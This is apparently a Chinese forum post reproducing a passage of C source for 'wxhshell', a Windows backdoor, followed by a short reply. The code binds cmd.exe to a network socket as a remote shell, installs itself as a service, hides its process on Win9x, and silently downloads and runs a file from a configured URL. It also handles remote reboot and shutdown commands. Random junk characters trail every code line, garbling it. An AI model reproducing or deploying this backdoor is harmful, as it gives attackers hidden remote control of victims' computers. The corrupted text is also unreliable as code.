  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;{Ovqo|  
  else BF]b\/I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DtZkrj)D/  
  } =(hEr=f>7  
  else { >+$1 p_  
u9GQ)`7Z@  
    switch(cmd[0]) { .@[+05Yw  
  qbT].,?!U  
  // 帮助 $(_i>&d<  
  case '?': { c\RDa|B,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I[F.M}5:z  
    break; zL7+HY* 3o  
  } nR ,j1IUF  
  // 安装 ^KlMBKWyB  
  case 'i': { wk-ziw  
    if(Install()) H"n"Q:Yp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E%40u.0  
    else /5wvXk|@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1;H(   
    break; K}a[~  
    } xkqt(ng(  
  // 卸载 Z7%>O:@z  
  case 'r': { `aSz"4Wd  
    if(Uninstall()) Ag?@fuk$J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rV1JJ.I  
    else \hm=AGI0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?MN?.O9-  
    break; /Wzic+v<>  
    } SM@1<OCc  
  // 显示 wxhshell 所在路径 h#`qEK&u  
  case 'p': { ,AM6E63  
    char svExeFile[MAX_PATH]; .}z&$:U9[  
    strcpy(svExeFile,"\n\r"); 5[;p<GqGN  
      strcat(svExeFile,ExeFile); JEBx|U$'Y  
        send(wsh,svExeFile,strlen(svExeFile),0); ))k^7g9M`  
    break;  /@%  
    } M)-+j{<  
  // 重启 w#-rl@JQ4  
  case 'b': { MMcHzRF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GJH6b7I  
    if(Boot(REBOOT)) #n0P'@d,r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `U?;9!|;6  
    else { 1_yUv7uhX  
    closesocket(wsh); Ig S.U  
    ExitThread(0); Q6DE|qnV  
    } LM<OYRB(  
    break; l tQ:c  
    } %n{E/06f  
  // 关机 P$w0.XZa  
  case 'd': { 7';PI!$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JLs7[W)O  
    if(Boot(SHUTDOWN)) OyTBgS G?a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z3>}(+  
    else { kgYa0 e5  
    closesocket(wsh); YSeXCJ:Iy  
    ExitThread(0); 8)M . W  
    } ^i@tOtS  
    break; C}W/9_I6Uo  
    } BQ".$(c q  
  // 获取shell s8 3_Bd  
  case 's': { )e Ub@Eu  
    CmdShell(wsh); UWmWouA  
    closesocket(wsh); 8R-?x/:  
    ExitThread(0); tl0_as  
    break; \N7 E!82  
  } b vUYLWzS  
  // 退出 h-#Glse<  
  case 'x': { q/&Z6LJ)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +#n[55d  
    CloseIt(wsh); \Mt(9jNK  
    break; i7Y 96]  
    } Mi S$Y  
  // 离开 C8aYg  
  case 'q': { 4qiG>^h9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &Du!*V4A  
    closesocket(wsh); t;ggc{  
    WSACleanup(); VNA VdP  
    exit(1); o6oZk0  
    break; Rl$NiY?2  
        } ud! iy  
  } y%3Yr?]  
  } [@.%6aD  
Qt!l-/flh  
  // 提示信息 uKhfZSx0 w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JCS$Tm6y<_  
} Vb0hlJb  
  } OTalR;:]r  
^Cpvh}1#  
  return; z\Qg 3BS  
} 2NI3 &;{4  
idGM%Faur  
// shell模块句柄 UB(Q &U_  
int CmdShell(SOCKET sock) |67<h5Q1  
{ aBol9`6  
STARTUPINFO si; u[ "Pg  
ZeroMemory(&si,sizeof(si)); O@?? NF6G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l[rIjyL@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EPdR-dC^wE  
PROCESS_INFORMATION ProcessInfo; @S<=Okrlj  
char cmdline[]="cmd"; ezy0m}@   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4l>/6LNMF  
  return 0; PNc^)|4^Q  
} m {wMzsQ  
obS|wTG~  
// 自身启动模式 iK'bV<V&7  
int StartFromService(void) S}ZM;M  
{  cfpP?  
typedef struct ^;Ap-2Ww  
{ YVqhX]/   
  DWORD ExitStatus; }B}?qV  
  DWORD PebBaseAddress; Hg]Q.SeJ(  
  DWORD AffinityMask; nv@$'uQRp  
  DWORD BasePriority; >8oRO  
  ULONG UniqueProcessId; LlX 7g _!  
  ULONG InheritedFromUniqueProcessId; vM|?;QM  
}   PROCESS_BASIC_INFORMATION; n%W~+  
EKq9m=Ua@o  
PROCNTQSIP NtQueryInformationProcess; VO[s:e9L  
3*XX@>|o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qdNYY&6>?u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'Pr(7^  
_T8#36iR  
  HANDLE             hProcess; Gl`Yyw@84  
  PROCESS_BASIC_INFORMATION pbi; 'mG[#M/Y  
)\'U$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [ gx<7}[  
  if(NULL == hInst ) return 0; >*{\N^:z  
fg+Q7'*Vq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z!7#"wO9+V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8H3|^J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fMI4'.Od  
5;C+K~Y  
  if (!NtQueryInformationProcess) return 0; jsfyNl? 6  
w/E4wp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J{\S+O2,*  
  if(!hProcess) return 0; DRj\i6-v  
(/tbe@<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~z%K9YcyU  
IWsB$T  
  CloseHandle(hProcess); Cddw\|'3  
>mi%L3Pk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wp$C J09f*  
if(hProcess==NULL) return 0; nlw(U3@7  
#&5m=q$EI  
HMODULE hMod; _~| j~QE]  
char procName[255]; q2Ax-#  
unsigned long cbNeeded; a~DR$^m  
N-4LdC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P ;PS+S9  
R0, Q`  
  CloseHandle(hProcess); 8yA :C  
Tg)Fr)  
if(strstr(procName,"services")) return 1; // 以服务启动 1E=%:?d  
3RZP 12x  
  return 0; // 注册表启动  s>76?Q:i  
} Qte=<Z)  
\y"!`.E7\d  
// 主模块 TOeJnk  
int StartWxhshell(LPSTR lpCmdLine) c+ Ejah+  
{ -Q<3Q_  
  SOCKET wsl; ]?/[& PP,  
BOOL val=TRUE; G! L=W#{  
  int port=0;  #/MUiV  
  struct sockaddr_in door; 8s6[?=nM  
o_vK4%y(  
  if(wscfg.ws_autoins) Install(); wVP{R3  
<dLdSEw  
port=atoi(lpCmdLine); 0^?(;AK  
z2A7:[  
if(port<=0) port=wscfg.ws_port; n!~{4 uUW  
 9 k)?-  
  WSADATA data; oslV@v F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )g(2xUk-y  
i/NY86A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cRDjpc]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,A h QA  
  door.sin_family = AF_INET; ? D2:'gg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]SFB_5Gb  
  door.sin_port = htons(port); GGo nA  
"=MRzSke3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kG:uXbUI'  
closesocket(wsl); =X2 Ieb  
return 1; (|Y[5O)  
} [^A93F  
{ckA  
  if(listen(wsl,2) == INVALID_SOCKET) { mrS:|| ,_  
closesocket(wsl); 6~ev5SD;f  
return 1; 6,ylk f3  
} /Uz2.Ua=  
  Wxhshell(wsl); S/"-x{Gc2v  
  WSACleanup(); XuVbi=pN.2  
%($sj| _l  
return 0; hIuK s5`  
H :}|UW  
} h?p&9[e`  
@D[jUC$E  
// 以NT服务方式启动 t.v@\[{ -  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S6*3."Sk  
{ W1w)SS  
DWORD   status = 0; f5IO<(:E^  
  DWORD   specificError = 0xfffffff; GE\@mu *pO  
o6P)IZ1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d/k&f5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7N+No.vR.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uZ&,tH/  
  serviceStatus.dwWin32ExitCode     = 0; Ia*eb%HG  
  serviceStatus.dwServiceSpecificExitCode = 0; 6! \a8q'z  
  serviceStatus.dwCheckPoint       = 0; _S7GkpoK  
  serviceStatus.dwWaitHint       = 0; ~Yv"=  
WFocA:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <VS\z(K  
  if (hServiceStatusHandle==0) return; U{"&Jj  
Wo<zvut8  
status = GetLastError(); m/5:-xL31  
  if (status!=NO_ERROR) B<T wTv  
{ O%AQ'['  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3b (I~  
    serviceStatus.dwCheckPoint       = 0; 79AOvh  
    serviceStatus.dwWaitHint       = 0;  P 1X8  
    serviceStatus.dwWin32ExitCode     = status; /0>Cy\eN0  
    serviceStatus.dwServiceSpecificExitCode = specificError; MoIVval/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RAxAy{  
    return; oC#@9>+@+"  
  } 9s5gi+l_O  
MM"{ehd{^a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a.L ?J  
  serviceStatus.dwCheckPoint       = 0; +O`0Mc$%'  
  serviceStatus.dwWaitHint       = 0; CaX&T2(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  =P\H}?PF  
} 0%7c?3#  
dW Y0  
// 处理NT服务事件,比如:启动、停止 7rw}q~CE5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7Co }4  
{ { aqce g  
switch(fdwControl) ( ?3 )l   
{ [~,~ e   
case SERVICE_CONTROL_STOP: y&")7y/uE  
  serviceStatus.dwWin32ExitCode = 0; J 6U3}SO=y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rLGh>bw#`3  
  serviceStatus.dwCheckPoint   = 0; r4D*$H-rR  
  serviceStatus.dwWaitHint     = 0; hhLEU_U  
  { HA&][%^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'oBT*aL  
  } P^#<h"Ht  
  return; {wiw]@c8  
case SERVICE_CONTROL_PAUSE: !U>711$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @5K/z<p%  
  break; /PN[g~3  
case SERVICE_CONTROL_CONTINUE: UbE*x2N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <ppM\$  
  break; =ltT6of@o  
case SERVICE_CONTROL_INTERROGATE: ]e@'9`G-'  
  break; P(8zJk6h),  
}; *D! $gfa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /KFCq|;7s,  
} sqFMO+  
";AM3  
// 标准应用程序主函数 PXz,[<ET?#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hJ 4]GA'  
{ 6":=p:PT.  
r'wam]1Z  
// 获取操作系统版本 ]fg?)z-Z  
OsIsNt=GetOsVer(); [H$rdh[+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *[t@j*al  
# kl?ww U  
  // 从命令行安装 'kPc`) \  
  if(strpbrk(lpCmdLine,"iI")) Install(); {]]qd!,  
\^or l9  
  // 下载执行文件 DfgqB3U[  
if(wscfg.ws_downexe) { ^5x\cR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A6YkoYgC  
  WinExec(wscfg.ws_filenam,SW_HIDE); q|0Lu  
} 2uu"0Rm%  
%:yJ/&-Q,Z  
if(!OsIsNt) { (Vnv"= (  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^noKk6Aaa  
HideProc(); #Y`GWT1==  
StartWxhshell(lpCmdLine); Ytop=ZIl'  
} i9+(gX(t  
else 3Z;`n,g  
  if(StartFromService()) p"EQ6_f  
  // 以服务方式启动 gF,9Kv~  
  StartServiceCtrlDispatcher(DispatchTable); Xn^gxOPM  
else ZG+8kt!w  
  // 普通方式启动 eS{lr4-]  
  StartWxhshell(lpCmdLine); E8j>Toz  
>/k[6r5  
return 0; c,-3+b  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五